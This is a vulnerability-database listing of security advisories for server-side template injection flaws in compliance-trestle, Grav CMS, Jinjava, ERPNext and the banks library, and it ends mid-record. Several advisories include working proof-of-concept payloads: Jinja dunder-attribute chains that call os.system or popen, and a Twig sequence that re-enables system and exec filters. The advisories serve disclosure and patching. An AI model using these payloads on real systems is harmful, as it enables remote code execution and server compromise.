CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
313 vulnerabilities reference this CWE, most recent first.
GHSA-GG2G-P7XC-QQMM
Vulnerability from github – Published: 2026-05-28 19:01 – Updated: 2026-05-28 19:01A High severity Server-Side Template Injection (SSTI) vulnerability exists in the trestle author jinja command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).
The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.
This distinction is critical: the template author may only intend to render plain text (e.g., Title: {{ ssp.metadata.title }}), but because of the recursive parsing, the data field itself becomes executable.
The vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.
Details
In trestle/core/commands/author/jinja.py, the render_template method performs recursive template evaluation to allow nesting within expressions:
@staticmethod
def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str:
new_output = template.render(**lut)
output = ''
error_countdown = JinjaCmd.max_recursion_depth
while new_output != output and error_countdown > 0:
error_countdown = error_countdown - 1
output = new_output
random_name = uuid.uuid4()
dict_loader = DictLoader({str(random_name): new_output})
# jinja_env does not use SandboxedEnvironment
jinja_env = Environment(
loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),
extensions=extensions(),
autoescape=True,
trim_blocks=True
)
template = jinja_env.get_template(str(random_name))
new_output = template.render(**lut)
return output
When a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker's string is injected into the output. During the next pass of the while loop, this output is loaded into a new Environment via DictLoader and rendered again. Because jinja_env does not use SandboxedEnvironment, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.
PoC (Proof of Concept)
The vulnerability survives even when the template itself is fully trusted and static.
Tested on Jinja2 version 3.1.6.
- Create a fully trusted template (
template.j2) that simply renders a data variable from an external SSP model:
Title: {{ ssp.metadata.title }}
- Generate a malicious OSCAL SSP document (
system-security-plans/malicious_ssp/system-security-plan.json) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:
{
"system-security-plan": {
"uuid": "208dbe11-e6e2-411a-af18-095cd17a6a70",
"metadata": {
"title": "{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}",
"last-modified": "2024-01-01T00:00:00+00:00",
"version": "1.0",
"oscal-version": "1.0.4"
},
"import-profile": { "href": "trestle://profiles/test_profile/profile.json" }
}
}
- Execute the
trestle author jinjacommand against the malicious data:
trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp
(Note: A similar payload injected via the -lut yaml argument yields identical results.)
- Verify arbitrary command execution:
ls poc.txt
# The file poc.txt is successfully created on the filesystem.
An attacker can also execute arbitrary shell commands directly, e.g.:
"title": "{{ namespace.__init__.__globals__.os.system('id') }}",
Impact
This vulnerability allows arbitrary command execution with the privileges of the running process. If compliance-trestle is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.12.1"
},
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46439"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T19:01:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A High severity Server-Side Template Injection (SSTI) vulnerability exists in the `trestle author jinja` command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).\n\n**The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.** \n\nThis distinction is critical: the template author may only intend to render plain text (e.g., `Title: {{ ssp.metadata.title }}`), but because of the recursive parsing, the data field itself becomes executable. \n\nThe vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.\n\n## Details\nIn `trestle/core/commands/author/jinja.py`, the `render_template` method performs recursive template evaluation to allow nesting within expressions:\n\n```python\n @staticmethod\n def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -\u003e str:\n new_output = template.render(**lut)\n output = \u0027\u0027\n error_countdown = JinjaCmd.max_recursion_depth\n while new_output != output and error_countdown \u003e 0:\n error_countdown = error_countdown - 1\n output = new_output\n random_name = uuid.uuid4()\n dict_loader = DictLoader({str(random_name): new_output})\n # jinja_env does not use SandboxedEnvironment\n jinja_env = Environment(\n loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),\n extensions=extensions(),\n autoescape=True,\n trim_blocks=True\n )\n template = jinja_env.get_template(str(random_name))\n new_output = template.render(**lut)\n return output\n```\n\nWhen a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker\u0027s string is injected into the output. During the next pass of the `while` loop, this output is loaded into a new `Environment` via `DictLoader` and rendered again. Because `jinja_env` does not use `SandboxedEnvironment`, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.\n\n## PoC (Proof of Concept)\nThe vulnerability survives even when the template itself is fully trusted and static. \nTested on `Jinja2` version `3.1.6`.\n\n1. Create a fully trusted template (`template.j2`) that simply renders a data variable from an external SSP model:\n```jinja2\nTitle: {{ ssp.metadata.title }}\n```\n\n2. Generate a malicious OSCAL SSP document (`system-security-plans/malicious_ssp/system-security-plan.json`) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:\n```json\n{\n \"system-security-plan\": {\n \"uuid\": \"208dbe11-e6e2-411a-af18-095cd17a6a70\",\n \"metadata\": {\n \"title\": \"{{ namespace.__init__.__globals__.os.system(\u0027touch poc.txt\u0027) }}\",\n \"last-modified\": \"2024-01-01T00:00:00+00:00\",\n \"version\": \"1.0\",\n \"oscal-version\": \"1.0.4\"\n },\n \"import-profile\": { \"href\": \"trestle://profiles/test_profile/profile.json\" }\n }\n}\n```\n\n3. Execute the `trestle author jinja` command against the malicious data:\n```bash\ntrestle author jinja -i template.j2 -o out.md -ssp malicious_ssp\n```\n*(Note: A similar payload injected via the `-lut` yaml argument yields identical results.)*\n\n4. Verify arbitrary command execution:\n```bash\nls poc.txt\n# The file poc.txt is successfully created on the filesystem.\n```\n\nAn attacker can also execute arbitrary shell commands directly, e.g.:\n```json\n \"title\": \"{{ namespace.__init__.__globals__.os.system(\u0027id\u0027) }}\",\n```\n\n## Impact\nThis vulnerability allows arbitrary command execution with the privileges of the running process. If `compliance-trestle` is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.",
"id": "GHSA-gg2g-p7xc-qqmm",
"modified": "2026-05-28T19:01:38Z",
"published": "2026-05-28T19:01:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-gg2g-p7xc-qqmm"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/247fcce289f60103f3d8e28d8ec51a6986b94fb6"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/7d107b3ac53caca7bde97a6278b23cd739d94525"
},
{
"type": "PACKAGE",
"url": "https://github.com/oscal-compass/compliance-trestle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)"
}
GHSA-GJC5-8CFH-653X
Vulnerability from github – Published: 2025-12-02 00:36 – Updated: 2025-12-02 00:36Summary
Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.
Details
Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.
The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:
$this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) {
$allowed = $config->get('system.twig.safe_filters');
if (is_array($allowed) && in_array($name, $allowed, true) && function_exists($name)) {
return new TwigFilter($name, $name);
}
if ($config->get('system.twig.undefined_filters')) {
if (function_exists($name)) {
if (!Utils::isDangerousFunction($name)) {
user_error("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`", E_USER_DEPRECATED);
return new TwigFilter($name, $name);
}
/** @var Debugger $debugger */
$debugger = $this->grav['debugger'];
$debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`"));
}
return new TwigFilter($name, static function () {});
}
return false;
});
In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safe_filters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.
Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:
/**
* Class Twig
* @package Grav\Common\Twig
*/
class Twig
{
/** @var Environment */
public $twig;
/** @var array */
public $twig_vars = [];
/** @var array */
public $twig_paths;
/** @var string */
public $template;
// Constructor
public function __construct(Grav $grav)
{
$this->grav = $grav;
$this->twig_paths = [];
}
// Twig initialization method
public function init()
{
if (null === $this->twig) {
/** @var Config $config */
$config = $this->grav['config'];
/** @var UniformResourceLocator $locator */
$locator = $this->grav['locator'];
/** @var Language $language */
$language = $this->grav['language'];
$active_language = $language->getActive();
...
}
}
}
Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safe_filters, effectively bypassing the Grav CMS sandbox.
Proof of Concept (PoC)
An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.
For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:
{% set arr = {'1':'system', '2':'exec'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }}
{{ 'id'|system }}
{{ 'whoami'|exec }}
Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.
Impact
The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.0-beta.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66299"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T00:36:36Z",
"nvd_published_at": "2025-12-01T22:15:49Z",
"severity": "HIGH"
},
"details": "## Summary\n\nGrav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.\n\n## Details\n\nGrav CMS uses a custom sandbox to protect the powerful Twig methods such as `registerUndefinedFilterCallback()`. These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., `exec()`, `passthru()`, `system()`, etc.) within Twig template directives.\n\nThe current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the `isDangerousFunction()` method in the file `system/src/Grav/Common/Twig.php`:\n\n```php\n$this-\u003etwig-\u003eregisterUndefinedFilterCallback(function (string $name) use ($config) {\n $allowed = $config-\u003eget(\u0027system.twig.safe_filters\u0027);\n if (is_array($allowed) \u0026\u0026 in_array($name, $allowed, true) \u0026\u0026 function_exists($name)) {\n return new TwigFilter($name, $name);\n }\n if ($config-\u003eget(\u0027system.twig.undefined_filters\u0027)) {\n if (function_exists($name)) {\n if (!Utils::isDangerousFunction($name)) {\n user_error(\"PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`\", E_USER_DEPRECATED);\n\n return new TwigFilter($name, $name);\n }\n\n /** @var Debugger $debugger */\n $debugger = $this-\u003egrav[\u0027debugger\u0027];\n $debugger-\u003eaddException(new RuntimeException(\"Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`\"));\n }\n\n return new TwigFilter($name, static function () {});\n }\n\n return false;\n});\n```\n\nIn this code, the `isDangerousFunction()` check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the `system.twig.safe_filters` configuration properties (whitelists that are empty by default) in the `system/config/system.yaml` file.\n\nNotably, the Twig class is defined within the `system/src/Grav/Common/Twig.php` file, and the Twig object (and environment) is instantiated there:\n\n```php\n/**\n * Class Twig\n * @package Grav\\Common\\Twig\n */\nclass Twig\n{\n /** @var Environment */\n public $twig;\n /** @var array */\n public $twig_vars = [];\n /** @var array */\n public $twig_paths;\n /** @var string */\n public $template;\n\n // Constructor\n public function __construct(Grav $grav)\n {\n $this-\u003egrav = $grav;\n $this-\u003etwig_paths = [];\n }\n\n // Twig initialization method\n public function init()\n {\n if (null === $this-\u003etwig) {\n /** @var Config $config */\n $config = $this-\u003egrav[\u0027config\u0027];\n /** @var UniformResourceLocator $locator */\n $locator = $this-\u003egrav[\u0027locator\u0027];\n /** @var Language $language */\n $language = $this-\u003egrav[\u0027language\u0027];\n\n $active_language = $language-\u003egetActive();\n ...\n }\n }\n}\n```\n\nSince the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute `system.twig.safe_filters`, effectively bypassing the Grav CMS sandbox.\n\n## Proof of Concept (PoC)\nAn authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.\n\nFor example, to exploit the vulnerability and execute the prohibited `system(\u0027id\u0027)` command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:\n\n```twig\n{% set arr = {\u00271\u0027:\u0027system\u0027, \u00272\u0027:\u0027exec\u0027} %}\n{{ var_dump(grav.twig.twig_vars[\u0027config\u0027].set(\u0027system.twig.safe_filters\u0027, arr)) }}\n{{ \u0027id\u0027|system }}\n{{ \u0027whoami\u0027|exec }}\n```\n\nOnce the page is saved, it can be accessed by unauthenticated users, triggering the execution of the `system(\u0027id\u0027)` command on the server hosting the vulnerable Grav CMS.\n\n## Impact\nThe vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.",
"id": "GHSA-gjc5-8cfh-653x",
"modified": "2025-12-02T00:36:36Z",
"published": "2025-12-02T00:36:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-gjc5-8cfh-653x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66299"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)"
}
GHSA-GJX9-J8F8-7J74
Vulnerability from github – Published: 2026-02-03 17:52 – Updated: 2026-02-05 00:34Impact
Vulnerability Type: Sandbox Bypass / Remote Code Execution
Affected Component: Jinjava
Affected Users: - Organizations using HubSpot's Jinjava template rendering engine for user-provided template content - Any system that renders untrusted Jinja templates using HubSpot's Jinjava implementation - Users with the ability to create or edit custom code templates
Severity: Critical - allows arbitrary Java class instantiation and file access bypassing built-in sandbox restrictions
Root Cause: Multiple security bypass vulnerabilities in Jinjava's sandbox mechanism:
-
ForTag Property Access Bypass: The
ForTagclass does not enforceJinjavaBeanELResolverrestrictions when iterating over object properties usingIntrospector.getBeanInfo()and invoking getter methods viaPropertyDescriptor.getReadMethod() -
Restricted Class Instantiation: The sandbox's type allowlist can be bypassed by using ObjectMapper to instantiate classes through JSON deserialization, including creating new
JinjavaELContextandJinjavaConfiginstances
Attack Vector: An attacker with the ability to create or edit Jinja templates can:
- Access arbitrary getter methods on objects in the template context
- Instantiate ObjectMapper to enable default typing
- Create arbitrary Java classes by bypassing type allowlists
- Read files from the server filesystem (demonstrated with /etc/passwd)
- Potentially execute arbitrary code
Patches
Status: Patched - CVE-2026-25526
Users should upgrade to one of the following versions which contain fixes for this vulnerability:
- JinJava 2.8.3 or later
- JinJava 2.7.6 or later
Fix Components:
- ForTag Security Hardening
- Added security checks to
ForTag.renderForCollection()to enforceJinjavaBeanELResolverrestrictions - Implemented property access validation against restricted properties/methods before invoking getter methods
-
Added checks for restricted class types before introspection
-
Enhanced Type Validation
- Improved validation in
JinjavaBeanELResolver.isRestrictedClass()to prevent instantiation of sensitive types - Added additional restricted types to the denylist
-
Implemented deeper validation for types created via ObjectMapper deserialization
-
Configuration Protection
- Added checks to prevent creation of new
JinjavaConfigorJinjavaELContextinstances via ObjectMapper - Prevented modification of
readOnlyResolverconfiguration from untrusted templates -
Implemented additional safeguards around ELResolver configuration
-
Collection Type Validation
- Implemented proper type validation in
HubLELResolverto prevent collection type wrapping bypasses - Added checks for wrapped types in collection deserialization
-
Implemented validation for all types within collections against allowlists
-
ObjectMapper Restrictions
- Added additional restrictions on
ObjectMapper.enableDefaultTyping()to prevent enabling via less restrictive ELResolver - Ensured default typing cannot be enabled without proper authorization
Information for Users: Upgrade to version 2.8.3 or 2.7.6 or later to address this vulnerability.
References
Project Resources
- Jinjava Source Code: github.com/HubSpot/jinjava
- Jinjava Releases: github.com/HubSpot/jinjava/releases
Security Standards & Classifications
- CWE-502: Deserialization of Untrusted Data
- CWE-913: Improper Control of Dynamically-Managed Code Resources
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CVSS v3.1: Common Vulnerability Scoring System
Additional Resources
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.hubspot.jinjava:jinjava"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.hubspot.jinjava:jinjava"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25526"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T17:52:55Z",
"nvd_published_at": "2026-02-04T22:15:59Z",
"severity": "CRITICAL"
},
"details": "## Impact\n\n**Vulnerability Type**: Sandbox Bypass / Remote Code Execution\n\n**Affected Component**: Jinjava\n\n**Affected Users**:\n- Organizations using HubSpot\u0027s Jinjava template rendering engine for user-provided template content\n- Any system that renders untrusted Jinja templates using HubSpot\u0027s Jinjava implementation\n- Users with the ability to create or edit custom code templates\n\n**Severity**: **Critical** - allows arbitrary Java class instantiation and file access bypassing built-in sandbox restrictions\n\n**Root Cause**: Multiple security bypass vulnerabilities in Jinjava\u0027s sandbox mechanism:\n\n1. **ForTag Property Access Bypass**: The `ForTag` class does not enforce `JinjavaBeanELResolver` restrictions when iterating over object properties using `Introspector.getBeanInfo()` and invoking getter methods via `PropertyDescriptor.getReadMethod()`\n\n2. **Restricted Class Instantiation**: The sandbox\u0027s type allowlist can be bypassed by using ObjectMapper to instantiate classes through JSON deserialization, including creating new `JinjavaELContext` and `JinjavaConfig` instances\n\n**Attack Vector**: An attacker with the ability to create or edit Jinja templates can:\n- Access arbitrary getter methods on objects in the template context\n- Instantiate `ObjectMapper` to enable default typing\n- Create arbitrary Java classes by bypassing type allowlists\n- Read files from the server filesystem (demonstrated with `/etc/passwd`)\n- Potentially execute arbitrary code\n\n## Patches\n\n**Status**: Patched - CVE-2026-25526\n\nUsers should upgrade to one of the following versions which contain fixes for this vulnerability:\n\n- **JinJava 2.8.3** or later\n- **JinJava 2.7.6** or later\n\n**Fix Components**:\n\n1. **ForTag Security Hardening**\n - Added security checks to `ForTag.renderForCollection()` to enforce `JinjavaBeanELResolver` restrictions\n - Implemented property access validation against restricted properties/methods before invoking getter methods\n - Added checks for restricted class types before introspection\n\n2. **Enhanced Type Validation**\n - Improved validation in `JinjavaBeanELResolver.isRestrictedClass()` to prevent instantiation of sensitive types\n - Added additional restricted types to the denylist\n - Implemented deeper validation for types created via ObjectMapper deserialization\n\n3. **Configuration Protection**\n - Added checks to prevent creation of new `JinjavaConfig` or `JinjavaELContext` instances via ObjectMapper\n - Prevented modification of `readOnlyResolver` configuration from untrusted templates\n - Implemented additional safeguards around ELResolver configuration\n\n4. **Collection Type Validation**\n - Implemented proper type validation in `HubLELResolver` to prevent collection type wrapping bypasses\n - Added checks for wrapped types in collection deserialization\n - Implemented validation for all types within collections against allowlists\n\n5. **ObjectMapper Restrictions**\n - Added additional restrictions on `ObjectMapper.enableDefaultTyping()` to prevent enabling via less restrictive ELResolver\n - Ensured default typing cannot be enabled without proper authorization\n\n**Information for Users**: Upgrade to version 2.8.3 or 2.7.6 or later to address this vulnerability.\n\n## References\n\n### Project Resources\n- **Jinjava Source Code**: [github.com/HubSpot/jinjava](https://github.com/HubSpot/jinjava)\n- **Jinjava Releases**: [github.com/HubSpot/jinjava/releases](https://github.com/HubSpot/jinjava/releases)\n\n### Security Standards \u0026 Classifications\n- **CWE-502**: Deserialization of Untrusted Data\n- **CWE-913**: Improper Control of Dynamically-Managed Code Resources\n- **CWE-94**: Improper Control of Generation of Code (\u0027Code Injection\u0027)\n- **CVSS v3.1**: Common Vulnerability Scoring System\n\n### Additional Resources\n- [OWASP Template Injection](https://owasp.org/www-community/attacks/Server_Side_Template_Injection)\n- [Java Deserialization Security](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)\n- [CVE Standards and Procedures](https://cve.mitre.org/)",
"id": "GHSA-gjx9-j8f8-7j74",
"modified": "2026-02-05T00:34:36Z",
"published": "2026-02-03T17:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HubSpot/jinjava/security/advisories/GHSA-gjx9-j8f8-7j74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25526"
},
{
"type": "WEB",
"url": "https://github.com/HubSpot/jinjava/commit/3d02e504d8bbb13bf3fe019e9ca7b51dfce7a998"
},
{
"type": "WEB",
"url": "https://github.com/HubSpot/jinjava/commit/c7328dce6030ac718f88974196035edafef24441"
},
{
"type": "PACKAGE",
"url": "https://github.com/HubSpot/jinjava"
},
{
"type": "WEB",
"url": "https://github.com/HubSpot/jinjava/releases/tag/jinjava-2.7.6"
},
{
"type": "WEB",
"url": "https://github.com/HubSpot/jinjava/releases/tag/jinjava-2.8.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "JinJava Bypass through ForTag leads to Arbitrary Java Execution"
}
GHSA-GMXM-2P67-967R
Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 18:31An SSTI (Server-Side Template Injection) vulnerability exists in the get_dunning_letter_text method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to configure Dunning Type and its child table Dunning Letter Text can inject arbitrary Jinja expressions, resulting in server-side code execution within a restricted but still unsafe context. This can leak database information.
{
"affected": [],
"aliases": [
"CVE-2025-66434"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-15T17:15:53Z",
"severity": "CRITICAL"
},
"details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_dunning_letter_text method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to configure Dunning Type and its child table Dunning Letter Text can inject arbitrary Jinja expressions, resulting in server-side code execution within a restricted but still unsafe context. This can leak database information.",
"id": "GHSA-gmxm-2p67-967r",
"modified": "2025-12-16T18:31:31Z",
"published": "2025-12-15T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66434"
},
{
"type": "WEB",
"url": "https://iamanc.github.io/post/erpnext-ssti-bug-1"
},
{
"type": "WEB",
"url": "https://www.notion.so/SSTI-bug-1-239e6086eadc8096bfcfe90551a3a483?source=copy_link"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GPHH-9Q3H-JGPP
Vulnerability from github – Published: 2026-05-08 20:36 – Updated: 2026-06-08 23:29Summary
banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.
This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.
Vulnerable Code
src/banks/env.py — the global Jinja2 environment is created without sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Attack Scenario
An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Executes arbitrary command on the host
Proof of Concept
Setup:
pip install banks==2.4.1
PoC script:
from banks import Prompt
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
Confirmed output:
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...
text
**File-write proof:**
```python
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
Impact
Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
Fix
Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.
Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().
Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm — identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.1"
},
"package": {
"ecosystem": "PyPI",
"name": "banks"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44209"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T20:36:22Z",
"nvd_published_at": "2026-05-26T21:16:37Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`banks \u003c= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment \u2014 not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` \u2014 the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(user_input)\np.text() # Executes 